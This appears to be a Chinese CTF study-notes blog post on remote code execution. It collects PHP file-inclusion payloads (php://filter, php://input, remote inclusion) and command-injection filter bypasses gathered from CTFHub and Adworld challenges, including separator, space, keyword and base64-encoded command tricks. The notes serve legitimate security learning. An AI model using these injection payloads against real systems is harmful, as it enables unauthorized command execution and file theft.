RCE

RCE

无参数RCE

好文:PHP的无参数RCE - 先知社区 (aliyun.com)

文件包含

1
2
3
4
5
6
7
8
9
10
Adworld做题后得到的一些payload

fileclude
file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input

fileinclude
php://filter/read=convert.base64-encode/resource=/var/www/html/flag

file_include
?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php

↓这题来自ctfhub”文件包含”一题

**

怎么用呢,给他/?file=shell.txt

然后根据给的参数传命令

先ls /,后cat即可

php://input

↓这题来自ctfhub”php://input”一题

接着post php代码即可

远程包含

↓这题来自ctfhub”远程包含”一题

给咱一个phpinfo那么必然有他的道理

PHP的配置选项allow_url_include为ON的话,则include/require函数可以加载远程文件,这种漏洞被称为”远程文件包含漏洞(Remote File Inclusion RFI)”。

allow_url_fopen = On 是否允许打开远程文件
allow_url_include = On 是否允许include/require远程文件

解法一:跟上一题一样

解法二:!

然后AntSword连接

读取源代码

↓这题来自ctfhub”读取源代码”一题

命令注入

无过滤

↓这题来自ctfhub”命令注入-无过滤”一题

/?ip=127.0.0.1

然后cat

没有回显->查看网页源码

在解题过程中检查页面回显时,发现无回显并不是因为管道符不正确。而是因为在网页中,浏览器会将文本内容解析为 HTML 代码,并根据 HTML 代码生成相应的网页。如果你的文本中包含特殊字符,浏览器就会将这些特殊字符解析为 HTML 标签,导致文本内容无法在网页中正常显示。那么这时候你可以通过以 base64 编码形式进行解析,浏览器会输出 base64 编码后的文本进行输出,不执行 HTML 解析,所以可以在网页中正常显示

如/?ip=127.0.0.1|cat flag.php|base64

过滤cat

可以用less,more,tail等命令读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容

过滤空格

这里是空格被正则表达式过滤了
以下字符都可以代替空格:

1
<,<>,%20(space),%09(tab),\$IFS\$9, \${IFS},$IFS,\x20

过滤运算符

这道题过滤了(||&)这些符号,用分号即可

1
2
127.0.0.1;ls
127.0.0.1;cat flag_234656091385.php

过滤目录分隔符

可以先cd后cat

1
/?ip=127.0.0.1;cd flag_is_here;cat flag_31961112137507.php

好用的payload

1
2
3
4
5
ls /
`echo%09'bHMgLw=='%09|%09base64%09-d`

cat /flag
`echo%09'Y2F0IC9mbGFn=='%09|%09base64%09-d`

综合过滤练习

↓这题来自ctfhub”命令注入-综合过滤练习”一题

这道题过滤了|,&,;,空格,cat,flag,ctfhub,/符号

命令分隔符用%0a代替

构造payload=?ip=127.0.0.1%0als%09*查看所有文件

发现flag_is_here文件夹,进入:payload=?ip=127.0.0.1%0acd%09*_is_here(这里空格用%09代替)

并cat,用tail绕过

?ip=127.0.0.1%0Acd%09*_is_here%0Atail%09*_300251234643.php

通用匹配符号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
*号          匹配0到任意字符 
?号 匹配单个字符
[[:alpha:]] 单个字母
[[:lower:]] 单个小写字母
[[:upper:]] 单个大写字母
[[:digit:]] 单个数字
[[:punct:]] 单个符号
[[:space:]] 单个空格
[[:alnum:]] 单个数字或字母
[[:punct:][:upper:]] 单个符号或单个大写字母
[1-9] 1位,这位是1-9的任意数字
[!3-5] 1位,不是3-5的数字
[^3-5] 1位,不是3-5的数字
[a-z] 1位,a-z的任意字母
{13} 3个,1 2 3
{1,4,7} 3147这三个数

RCE
http://ikun604.github.io/2023/09/28/RCE_learn/
作者
yfz-ikun604
发布于
2023年9月28日
许可协议